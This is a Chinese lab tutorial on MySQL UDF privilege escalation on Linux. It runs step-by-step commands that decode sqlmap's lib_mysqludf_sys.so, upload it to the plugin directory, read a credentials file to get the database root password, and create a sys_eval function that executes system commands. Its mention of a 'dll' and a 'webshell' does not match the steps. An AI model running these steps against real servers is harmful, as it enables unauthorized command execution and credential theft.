Mysql提权-基于Mysql的UDF提权(Linux系统)


实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

基于Mysql的UDF提权(Linux系统)

【实验目的】

??通过本实验理解如何通过webshell结合sqlmap自带的dll文件对Linux系统进行UDF提权,熟悉UDF提权的主要方法。

【实验环境】

攻击机:Kali-pri
用户名college,密码360College

目标靶机:CentOS-sqli-lab
用户名college,密码360College

【实验原理】

??scp命令简介:

??scp是 secure copy的缩写, scp是linux系统下基于ssh登录进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。

??复制文件的命令格式:

??scp local_file remote_username@remote_ip:remote_folder

??scp dama.php michael@192.168.198.13:/var/www/html/wordpress

【实验步骤】

??1.启动靶机CentOS-sqli-lab、攻击机Kali-pri。

??2.将Kali系统中sqlmap自带的udf提权库文件进行解码。 在Kali攻击机上,启动终端,依次输入如下命令:

??(1)sudo su

//切换到root用户

??(2)cd /usr/share/sqlmap/extra/cloak/

//进入cloak目录

??(3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_

//将lib_mysqludf_sys.so_进行解码

??解码后,在/usr/share/sqlmap/udf/mysql/linux/64目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件。

??3.将攻击机上的lib_mysqludf_sys.so文件上传至靶机的/usr/lib64/mysql/plugin目录(此为mysql数据库的插件安装目录),所用命令为:

??scp /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so 【靶机的账户】@【靶机IP地址】: /usr/lib64/mysql/plugin

??这里所用的靶机账户为college,密码为360College

??4.在Kali攻击机上,利用nmap扫描靶机开放的端口,所用命令为:

??nmap -sS 【靶机IP地址】

??注意:该命令只有管理员身份(即root用户)才能使用!

??通过nmap扫描结果得知,目标靶机开放了TCP 22端口。

??5.在Kali攻击机上,通过SSH连接靶机,所用命令为:

??ssh 【靶机的账户】@【靶机IP地址】

??这里所用的靶机账户为college,密码为360College

??6.通过SSH成功连接靶机后,进入靶机的/var/www/html/sql-connections目录,通过查看db-creds.inc文件内容获取靶机MySQL数据库root账户的密码。所用命令为:

??(1)cd /var/www/html/sql-connections

//进入该目录

??(2)cat db-creds.inc

//查看db-creds.inc文件内容

??这里获取到的MySQL数据库root账户的密码为root123456

??7.用root账户连接靶机的MySQL数据库。

??依次输入以下命令:

??(1)cd /usr/bin

//进入MySQL可执行文件的目录

??(2)mysql -h 127.0.0.1 -u root -p

//连接MySQL

??(3)输入root账户的密码root123456

??当出现mysql>的提示符时,则表示连接成功。

??8.利用第3步中上传的lib_mysqludf_sys.so文件,创建一个MySQL函数sys_eval,所用命令为:

??create function sys_eval returns strings soname ‘lib_mysqludf_sys.so’;

??创建完成后,利用如下命令查看结果:

??select * from mysql.func;

??9.利用sys_eval函数执行系统命令:

??(1)select sys_eval(‘whoami’);

??(2)select sys_eval(‘id’);

??实验至此结束。

【思考与总结】

??通过本次实验,掌握了利用webshell结合sqlmap自带的dll文件对Linux系统进行UDF提权的方法。